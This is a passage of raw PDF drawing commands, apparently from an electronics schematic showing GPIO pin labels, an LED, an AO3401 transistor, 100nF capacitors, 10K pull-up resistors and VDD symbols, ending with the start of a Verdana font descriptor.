+/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +282.02 895.98 Td +(GPIO37) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +280.000 894.500 m +280.000 892.500 l +279.000 893.500 m +281.000 893.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +282.02 885.98 Td +(GPIO38) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +280.000 884.500 m +280.000 882.500 l +279.000 883.500 m +281.000 883.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +282.02 875.98 Td +(GPIO39) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +280.000 874.500 m +280.000 872.500 l +279.000 873.500 m +281.000 873.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1269.33 235.25 Td +(LED0603_O) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1308.33 270.29 Td +(LED2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +1289.000 273.500 m +1295.000 263.500 l +1302.000 273.500 l +h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1303.000 263.500 m +1287.000 263.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1295.000 288.500 m +1295.000 273.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1305.000 264.500 m +1312.000 257.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1301.000 260.500 m +1308.000 253.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1295.000 248.500 m +1295.000 263.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +1312.000 257.500 m +1310.000 261.500 l +1308.000 259.500 l +h +B +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +1308.000 253.500 m +1306.000 257.500 l +1304.000 255.500 l +h +B +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1295.000 248.500 m +1320.000 248.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1360.000 248.500 m +1375.000 248.500 l +1375.000 258.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1158.78 334.50 Td +(AO3401) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1158.78 343.52 Td +(Q2) Tj +ET +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1175.000 323.500 m +1172.000 323.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1158.000 323.500 m +1155.000 323.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1172.000 329.500 m +1165.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1164.000 329.500 m +1158.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1158.000 329.500 m +1158.000 323.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1175.000 316.500 m +1172.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1172.000 316.500 m +1170.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1167.000 316.500 m +1165.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 316.500 m +1163.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1155.000 316.500 m +1158.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1158.000 316.500 m +1160.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1175.000 313.500 m +1155.000 313.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 322.500 m +1165.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 323.500 m +1158.000 323.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1172.000 316.500 m +1172.000 329.500 l +1172.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1158.000 316.500 m +1158.000 323.500 l +S +1.00 w +0.55 0.14 0.14 RG +[] 0 d +1173.00 323.50 m 1173.00 324.05 1172.55 324.50 1172.00 324.50 c +1171.45 324.50 1171.00 324.05 1171.00 323.50 c +1171.00 322.95 1171.45 322.50 1172.00 322.50 c +1172.55 322.50 1173.00 322.95 1173.00 323.50 c +S +1.00 w +0.55 0.14 0.14 RG +[] 0 d +1159.00 323.50 m 1159.00 324.05 1158.55 324.50 1158.00 324.50 c +1157.45 324.50 1157.00 324.05 1157.00 323.50 c +1157.00 322.95 1157.45 322.50 1158.00 322.50 c +1158.55 322.50 1159.00 322.95 1159.00 323.50 c +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +[] 0 d +1165.000 303.500 m +1165.000 313.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +[] 0 d +1185.000 323.500 m +1175.000 323.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +[] 0 d +1145.000 323.500 m +1155.000 323.500 l +S +10.00 w +BT +/F1 4 Tf +4.00 TL +0.137 0.553 0.137 rg +0.00 1.00 -1.00 0.00 1176.40 324.56 Tm +(D) Tj +ET +10.00 w +BT +/F1 4 Tf +4.00 TL +0.137 0.553 0.137 rg +0.00 1.00 -1.00 0.00 1155.40 324.54 Tm +(S) Tj +ET +10.00 w +BT +/F1 4 Tf +4.00 TL +0.137 0.553 0.137 rg +0.00 1.00 -1.00 0.00 1167.42 312.54 Tm +(G) Tj +ET +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 317.500 m +1165.000 316.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 323.500 m +1166.000 319.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 323.500 m +1164.000 319.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1166.000 319.500 m +1164.000 319.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1164.000 319.500 m +1165.000 322.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 322.500 m +1166.000 319.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1166.000 319.500 m +1165.000 321.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 329.500 m +1163.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1167.000 327.500 m +1167.000 328.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1167.000 328.500 m +1167.000 330.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1167.000 330.500 m +1167.000 331.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1163.000 329.500 m +1167.000 327.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1163.000 327.500 m +1163.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1163.000 329.500 m +1163.000 331.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1167.000 328.500 m +1165.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 329.500 m +1167.000 330.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1166.000 328.500 m +1165.000 329.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1165.000 329.500 m +1166.000 330.500 l +S +1 J +1 j +1.00 w +0.55 0.14 0.14 RG +0.00 g +[] 0 d +1167.000 331.500 m +1163.000 329.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1315.000 288.500 m +1295.000 288.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1186.78 840.30 Td +(100nF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1239.05 840.30 Td +(C7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1233.000 841.500 m +1217.000 841.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1225.000 833.500 m +1225.000 823.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1225.000 853.500 m +1225.000 845.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1217.000 845.500 m +1233.000 845.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1225.000 853.500 m +1225.000 863.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1225.000 841.500 m +1225.000 833.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1225.000 823.500 m +1175.000 823.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1216.78 635.30 Td +(100nF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1194.05 645.30 Td +(C8) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1223.000 646.500 m +1207.000 646.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1215.000 638.500 m +1215.000 628.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1215.000 658.500 m +1215.000 650.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1207.000 650.500 m +1223.000 650.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1215.000 658.500 m +1215.000 668.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1215.000 646.500 m +1215.000 638.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 713.500 m +530.000 713.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +526.000 717.500 m +534.000 709.500 l +534.000 717.500 m +526.000 709.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1330.000 523.500 m +1330.000 548.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +295.01 358.55 Td +(R4) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +292.69 348.55 Td +(10K) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +290.000 348.500 m +290.000 352.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +290.000 378.500 m +290.000 374.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +287.000 374.500 m +287.000 352.500 l +293.000 352.500 l +293.000 374.500 l +287.000 374.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +270.01 368.55 Td +(R5) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +267.69 358.55 Td +(10K) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +265.000 358.500 m +265.000 362.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +265.000 388.500 m +265.000 384.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +262.000 384.500 m +262.000 362.500 l +268.000 362.500 l +268.000 384.500 l +262.000 384.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +265.000 388.500 m +290.000 388.500 l +290.000 378.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +290.000 408.500 m +290.000 388.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 278.00 420.50 Tm +(VDD) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +290.000 418.500 m +290.000 408.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +285.000 418.500 m +295.000 418.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +275.01 248.55 Td +(R7) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +272.69 238.55 Td +(10K) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +270.000 238.500 m +270.000 242.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +270.000 268.500 m +270.000 264.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +267.000 264.500 m +267.000 242.500 l +273.000 242.500 l +273.000 264.500 l +267.000 264.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 257.01 207.20 Tm +(VDD) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +270.000 218.500 m +270.000 228.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +275.000 218.500 m +265.000 218.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +270.000 228.500 m +270.000 238.500 l +S +0.80 0.00 0.00 rg +217.50 978.50 m 217.50 979.88 216.38 981.00 215.00 981.00 c +213.62 981.00 212.50 979.88 212.50 978.50 c +212.50 977.12 213.62 976.00 215.00 976.00 c +216.38 976.00 217.50 977.12 217.50 978.50 c +f +0.80 0.00 0.00 rg +217.50 933.50 m 217.50 934.88 216.38 936.00 215.00 936.00 c +213.62 936.00 212.50 934.88 212.50 933.50 c +212.50 932.12 213.62 931.00 215.00 931.00 c +216.38 931.00 217.50 932.12 217.50 933.50 c +f +0.80 0.00 0.00 rg +252.50 863.50 m 252.50 864.88 251.38 866.00 250.00 866.00 c +248.62 866.00 247.50 864.88 247.50 863.50 c +247.50 862.12 248.62 861.00 250.00 861.00 c +251.38 861.00 252.50 862.12 252.50 863.50 c +f +0.80 0.00 0.00 rg +257.50 988.50 m 257.50 989.88 256.38 991.00 255.00 991.00 c +253.62 991.00 252.50 989.88 252.50 988.50 c +252.50 987.12 253.62 986.00 255.00 986.00 c +256.38 986.00 257.50 987.12 257.50 988.50 c +f +0.80 0.00 0.00 rg +812.50 958.50 m 812.50 959.88 811.38 961.00 810.00 961.00 c +808.62 961.00 807.50 959.88 807.50 958.50 c +807.50 957.12 808.62 956.00 810.00 956.00 c +811.38 956.00 812.50 957.12 812.50 958.50 c +f +0.80 0.00 0.00 rg +1002.50 908.50 m 1002.50 909.88 1001.38 911.00 1000.00 911.00 c +998.62 911.00 997.50 909.88 997.50 908.50 c +997.50 907.12 998.62 906.00 1000.00 906.00 c +1001.38 906.00 1002.50 907.12 1002.50 908.50 c +f +0.80 0.00 0.00 rg +322.50 943.50 m 322.50 944.88 321.38 946.00 320.00 946.00 c +318.62 946.00 317.50 944.88 317.50 943.50 c +317.50 942.12 318.62 941.00 320.00 941.00 c +321.38 941.00 322.50 942.12 322.50 943.50 c +f +0.80 0.00 0.00 rg +322.50 988.50 m 322.50 989.88 321.38 991.00 320.00 991.00 c +318.62 991.00 317.50 989.88 317.50 988.50 c +317.50 987.12 318.62 986.00 320.00 986.00 c +321.38 986.00 322.50 987.12 322.50 988.50 c +f +0.80 0.00 0.00 rg +322.50 1013.50 m 322.50 1014.88 321.38 1016.00 320.00 1016.00 c +318.62 1016.00 317.50 1014.88 317.50 1013.50 c +317.50 1012.12 318.62 1011.00 320.00 1011.00 c +321.38 1011.00 322.50 1012.12 322.50 1013.50 c +f +0.80 0.00 0.00 rg +537.50 833.50 m 537.50 834.88 536.38 836.00 535.00 836.00 c +533.62 836.00 532.50 834.88 532.50 833.50 c +532.50 832.12 533.62 831.00 535.00 831.00 c +536.38 831.00 537.50 832.12 537.50 833.50 c +f +0.80 0.00 0.00 rg +537.50 893.50 m 537.50 894.88 536.38 896.00 535.00 896.00 c +533.62 896.00 532.50 894.88 532.50 893.50 c +532.50 892.12 533.62 891.00 535.00 891.00 c +536.38 891.00 537.50 892.12 537.50 893.50 c +f +0.80 0.00 0.00 rg +537.50 923.50 m 537.50 924.88 536.38 926.00 535.00 926.00 c +533.62 926.00 532.50 924.88 532.50 923.50 c +532.50 922.12 533.62 921.00 535.00 921.00 c +536.38 921.00 537.50 922.12 537.50 923.50 c +f +0.80 0.00 0.00 rg +877.50 478.50 m 877.50 479.88 876.38 481.00 875.00 481.00 c +873.62 481.00 872.50 479.88 872.50 478.50 c +872.50 477.12 873.62 476.00 875.00 476.00 c +876.38 476.00 877.50 477.12 877.50 478.50 c +f +0.80 0.00 0.00 rg +827.50 478.50 m 827.50 479.88 826.38 481.00 825.00 481.00 c +823.62 481.00 822.50 479.88 822.50 478.50 c +822.50 477.12 823.62 476.00 825.00 476.00 c +826.38 476.00 827.50 477.12 827.50 478.50 c +f +0.80 0.00 0.00 rg +772.50 518.50 m 772.50 519.88 771.38 521.00 770.00 521.00 c +768.62 521.00 767.50 519.88 767.50 518.50 c +767.50 517.12 768.62 516.00 770.00 516.00 c +771.38 516.00 772.50 517.12 772.50 518.50 c +f +0.80 0.00 0.00 rg +912.50 478.50 m 912.50 479.88 911.38 481.00 910.00 481.00 c +908.62 481.00 907.50 479.88 907.50 478.50 c +907.50 477.12 908.62 476.00 910.00 476.00 c +911.38 476.00 912.50 477.12 912.50 478.50 c +f +0.80 0.00 0.00 rg +912.50 518.50 m 912.50 519.88 911.38 521.00 910.00 521.00 c +908.62 521.00 907.50 519.88 907.50 518.50 c +907.50 517.12 908.62 516.00 910.00 516.00 c +911.38 516.00 912.50 517.12 912.50 518.50 c +f +0.80 0.00 0.00 rg +877.50 518.50 m 877.50 519.88 876.38 521.00 875.00 521.00 c +873.62 521.00 872.50 519.88 872.50 518.50 c +872.50 517.12 873.62 516.00 875.00 516.00 c +876.38 516.00 877.50 517.12 877.50 518.50 c +f +0.80 0.00 0.00 rg +557.50 358.50 m 557.50 359.88 556.38 361.00 555.00 361.00 c +553.62 361.00 552.50 359.88 552.50 358.50 c +552.50 357.12 553.62 356.00 555.00 356.00 c +556.38 356.00 557.50 357.12 557.50 358.50 c +f +0.80 0.00 0.00 rg +812.50 358.50 m 812.50 359.88 811.38 361.00 810.00 361.00 c +808.62 361.00 807.50 359.88 807.50 358.50 c +807.50 357.12 808.62 356.00 810.00 356.00 c +811.38 356.00 812.50 357.12 812.50 358.50 c +f +0.80 0.00 0.00 rg +797.50 343.50 m 797.50 344.88 796.38 346.00 795.00 346.00 c +793.62 346.00 792.50 344.88 792.50 343.50 c +792.50 342.12 793.62 341.00 795.00 341.00 c +796.38 341.00 797.50 342.12 797.50 343.50 c +f +0.80 0.00 0.00 rg +322.50 923.50 m 322.50 924.88 321.38 926.00 320.00 926.00 c +318.62 926.00 317.50 924.88 317.50 923.50 c +317.50 922.12 318.62 921.00 320.00 921.00 c +321.38 921.00 322.50 922.12 322.50 923.50 c +f +0.80 0.00 0.00 rg +322.50 913.50 m 322.50 914.88 321.38 916.00 320.00 916.00 c +318.62 916.00 317.50 914.88 317.50 913.50 c +317.50 912.12 318.62 911.00 320.00 911.00 c +321.38 911.00 322.50 912.12 322.50 913.50 c +f +0.80 0.00 0.00 rg +357.50 368.50 m 357.50 369.88 356.38 371.00 355.00 371.00 c +353.62 371.00 352.50 369.88 352.50 368.50 c +352.50 367.12 353.62 366.00 355.00 366.00 c +356.38 366.00 357.50 367.12 357.50 368.50 c +f +0.80 0.00 0.00 rg +812.50 898.50 m 812.50 899.88 811.38 901.00 810.00 901.00 c +808.62 901.00 807.50 899.88 807.50 898.50 c +807.50 897.12 808.62 896.00 810.00 896.00 c +811.38 896.00 812.50 897.12 812.50 898.50 c +f +0.80 0.00 0.00 rg +812.50 908.50 m 812.50 909.88 811.38 911.00 810.00 911.00 c +808.62 911.00 807.50 909.88 807.50 908.50 c +807.50 907.12 808.62 906.00 810.00 906.00 c +811.38 906.00 812.50 907.12 812.50 908.50 c +f +0.80 0.00 0.00 rg +812.50 853.50 m 812.50 854.88 811.38 856.00 810.00 856.00 c +808.62 856.00 807.50 854.88 807.50 853.50 c +807.50 852.12 808.62 851.00 810.00 851.00 c +811.38 851.00 812.50 852.12 812.50 853.50 c +f +0.80 0.00 0.00 rg +812.50 863.50 m 812.50 864.88 811.38 866.00 810.00 866.00 c +808.62 866.00 807.50 864.88 807.50 863.50 c +807.50 862.12 808.62 861.00 810.00 861.00 c +811.38 861.00 812.50 862.12 812.50 863.50 c +f +0.80 0.00 0.00 rg +87.50 308.50 m 87.50 309.88 86.38 311.00 85.00 311.00 c +83.62 311.00 82.50 309.88 82.50 308.50 c +82.50 307.12 83.62 306.00 85.00 306.00 c +86.38 306.00 87.50 307.12 87.50 308.50 c +f +0.80 0.00 0.00 rg +357.50 318.50 m 357.50 319.88 356.38 321.00 355.00 321.00 c +353.62 321.00 352.50 319.88 352.50 318.50 c +352.50 317.12 353.62 316.00 355.00 316.00 c +356.38 316.00 357.50 317.12 357.50 318.50 c +f +0.80 0.00 0.00 rg +382.50 308.50 m 382.50 309.88 381.38 311.00 380.00 311.00 c +378.62 311.00 377.50 309.88 377.50 308.50 c +377.50 307.12 378.62 306.00 380.00 306.00 c +381.38 306.00 382.50 307.12 382.50 308.50 c +f +0.50 0.00 0.00 rg +1497.00 218.50 m 1497.00 219.60 1496.10 220.50 1495.00 220.50 c +1493.90 220.50 1493.00 219.60 1493.00 218.50 c +1493.00 217.40 1493.90 216.50 1495.00 216.50 c +1496.10 216.50 1497.00 217.40 1497.00 218.50 c +f +0.50 0.00 0.00 rg +1477.00 218.50 m 1477.00 219.60 1476.10 220.50 1475.00 220.50 c +1473.90 220.50 1473.00 219.60 1473.00 218.50 c +1473.00 217.40 1473.90 216.50 1475.00 216.50 c +1476.10 216.50 1477.00 217.40 1477.00 218.50 c +f +0.80 0.00 0.00 rg +1167.50 223.50 m 1167.50 224.88 1166.38 226.00 1165.00 226.00 c +1163.62 226.00 1162.50 224.88 1162.50 223.50 c +1162.50 222.12 1163.62 221.00 1165.00 221.00 c +1166.38 221.00 1167.50 222.12 1167.50 223.50 c +f +0.80 0.00 0.00 rg +1427.50 923.50 m 1427.50 924.88 1426.38 926.00 1425.00 926.00 c +1423.62 926.00 1422.50 924.88 1422.50 923.50 c +1422.50 922.12 1423.62 921.00 1425.00 921.00 c +1426.38 921.00 1427.50 922.12 1427.50 923.50 c +f +0.80 0.00 0.00 rg +1427.50 863.50 m 1427.50 864.88 1426.38 866.00 1425.00 866.00 c +1423.62 866.00 1422.50 864.88 1422.50 863.50 c +1422.50 862.12 1423.62 861.00 1425.00 861.00 c +1426.38 861.00 1427.50 862.12 1427.50 863.50 c +f +0.80 0.00 0.00 rg +1447.50 863.50 m 1447.50 864.88 1446.38 866.00 1445.00 866.00 c +1443.62 866.00 1442.50 864.88 1442.50 863.50 c +1442.50 862.12 1443.62 861.00 1445.00 861.00 c +1446.38 861.00 1447.50 862.12 1447.50 863.50 c +f +0.80 0.00 0.00 rg +1447.50 923.50 m 1447.50 924.88 1446.38 926.00 1445.00 926.00 c +1443.62 926.00 1442.50 924.88 1442.50 923.50 c +1442.50 922.12 1443.62 921.00 1445.00 921.00 c +1446.38 921.00 1447.50 922.12 1447.50 923.50 c +f +0.80 0.00 0.00 rg +1417.50 728.50 m 1417.50 729.88 1416.38 731.00 1415.00 731.00 c +1413.62 731.00 1412.50 729.88 1412.50 728.50 c +1412.50 727.12 1413.62 726.00 1415.00 726.00 c +1416.38 726.00 1417.50 727.12 1417.50 728.50 c +f +0.80 0.00 0.00 rg +1417.50 668.50 m 1417.50 669.88 1416.38 671.00 1415.00 671.00 c +1413.62 671.00 1412.50 669.88 1412.50 668.50 c +1412.50 667.12 1413.62 666.00 1415.00 666.00 c +1416.38 666.00 1417.50 667.12 1417.50 668.50 c +f +0.80 0.00 0.00 rg +1437.50 668.50 m 1437.50 669.88 1436.38 671.00 1435.00 671.00 c +1433.62 671.00 1432.50 669.88 1432.50 668.50 c +1432.50 667.12 1433.62 666.00 1435.00 666.00 c +1436.38 666.00 1437.50 667.12 1437.50 668.50 c +f +0.80 0.00 0.00 rg +1437.50 728.50 m 1437.50 729.88 1436.38 731.00 1435.00 731.00 c +1433.62 731.00 1432.50 729.88 1432.50 728.50 c +1432.50 727.12 1433.62 726.00 1435.00 726.00 c +1436.38 726.00 1437.50 727.12 1437.50 728.50 c +f +0.80 0.00 0.00 rg +402.50 583.50 m 402.50 584.88 401.38 586.00 400.00 586.00 c +398.62 586.00 397.50 584.88 397.50 583.50 c +397.50 582.12 398.62 581.00 400.00 581.00 c +401.38 581.00 402.50 582.12 402.50 583.50 c +f +0.80 0.00 0.00 rg +347.50 458.50 m 347.50 459.88 346.38 461.00 345.00 461.00 c +343.62 461.00 342.50 459.88 342.50 458.50 c +342.50 457.12 343.62 456.00 345.00 456.00 c +346.38 456.00 347.50 457.12 347.50 458.50 c +f +0.80 0.00 0.00 rg +507.50 483.50 m 507.50 484.88 506.38 486.00 505.00 486.00 c +503.62 486.00 502.50 484.88 502.50 483.50 c +502.50 482.12 503.62 481.00 505.00 481.00 c +506.38 481.00 507.50 482.12 507.50 483.50 c +f +0.80 0.00 0.00 rg +327.50 113.50 m 327.50 114.88 326.38 116.00 325.00 116.00 c +323.62 116.00 322.50 114.88 322.50 113.50 c +322.50 112.12 323.62 111.00 325.00 111.00 c +326.38 111.00 327.50 112.12 327.50 113.50 c +f +0.80 0.00 0.00 rg +382.50 238.50 m 382.50 239.88 381.38 241.00 380.00 241.00 c +378.62 241.00 377.50 239.88 377.50 238.50 c +377.50 237.12 378.62 236.00 380.00 236.00 c +381.38 236.00 382.50 237.12 382.50 238.50 c +f +0.50 0.00 0.00 rg +1332.00 473.50 m 1332.00 474.60 1331.10 475.50 1330.00 475.50 c +1328.90 475.50 1328.00 474.60 1328.00 473.50 c +1328.00 472.40 1328.90 471.50 1330.00 471.50 c +1331.10 471.50 1332.00 472.40 1332.00 473.50 c +f +0.80 0.00 0.00 rg +1227.50 863.50 m 1227.50 864.88 1226.38 866.00 1225.00 866.00 c +1223.62 866.00 1222.50 864.88 1222.50 863.50 c +1222.50 862.12 1223.62 861.00 1225.00 861.00 c +1226.38 861.00 1227.50 862.12 1227.50 863.50 c +f +0.80 0.00 0.00 rg +1177.50 823.50 m 1177.50 824.88 1176.38 826.00 1175.00 826.00 c +1173.62 826.00 1172.50 824.88 1172.50 823.50 c +1172.50 822.12 1173.62 821.00 1175.00 821.00 c +1176.38 821.00 1177.50 822.12 1177.50 823.50 c +f +0.80 0.00 0.00 rg +1217.50 668.50 m 1217.50 669.88 1216.38 671.00 1215.00 671.00 c +1213.62 671.00 1212.50 669.88 1212.50 668.50 c +1212.50 667.12 1213.62 666.00 1215.00 666.00 c +1216.38 666.00 1217.50 667.12 1217.50 668.50 c +f +0.80 0.00 0.00 rg +1182.50 623.50 m 1182.50 624.88 1181.38 626.00 1180.00 626.00 c +1178.62 626.00 1177.50 624.88 1177.50 623.50 c +1177.50 622.12 1178.62 621.00 1180.00 621.00 c +1181.38 621.00 1182.50 622.12 1182.50 623.50 c +f +0.80 0.00 0.00 rg +1532.50 288.50 m 1532.50 289.88 1531.38 291.00 1530.00 291.00 c +1528.62 291.00 1527.50 289.88 1527.50 288.50 c +1527.50 287.12 1528.62 286.00 1530.00 286.00 c +1531.38 286.00 1532.50 287.12 1532.50 288.50 c +f +0.80 0.00 0.00 rg +887.50 898.50 m 887.50 899.88 886.38 901.00 885.00 901.00 c +883.62 901.00 882.50 899.88 882.50 898.50 c +882.50 897.12 883.62 896.00 885.00 896.00 c +886.38 896.00 887.50 897.12 887.50 898.50 c +f +0.80 0.00 0.00 rg +887.50 853.50 m 887.50 854.88 886.38 856.00 885.00 856.00 c +883.62 856.00 882.50 854.88 882.50 853.50 c +882.50 852.12 883.62 851.00 885.00 851.00 c +886.38 851.00 887.50 852.12 887.50 853.50 c +f +0.80 0.00 0.00 rg +292.50 388.50 m 292.50 389.88 291.38 391.00 290.00 391.00 c +288.62 391.00 287.50 389.88 287.50 388.50 c +287.50 387.12 288.62 386.00 290.00 386.00 c +291.38 386.00 292.50 387.12 292.50 388.50 c +f +endstream +endobj +1 0 obj +<> +endobj +5 0 obj +<< +/Descent -209 +/CapHeight 727 +/StemV 0 +/Type /FontDescriptor +/Flags 32 +/FontBBox [-559 -303 1446 1050] +/FontName /Verdana 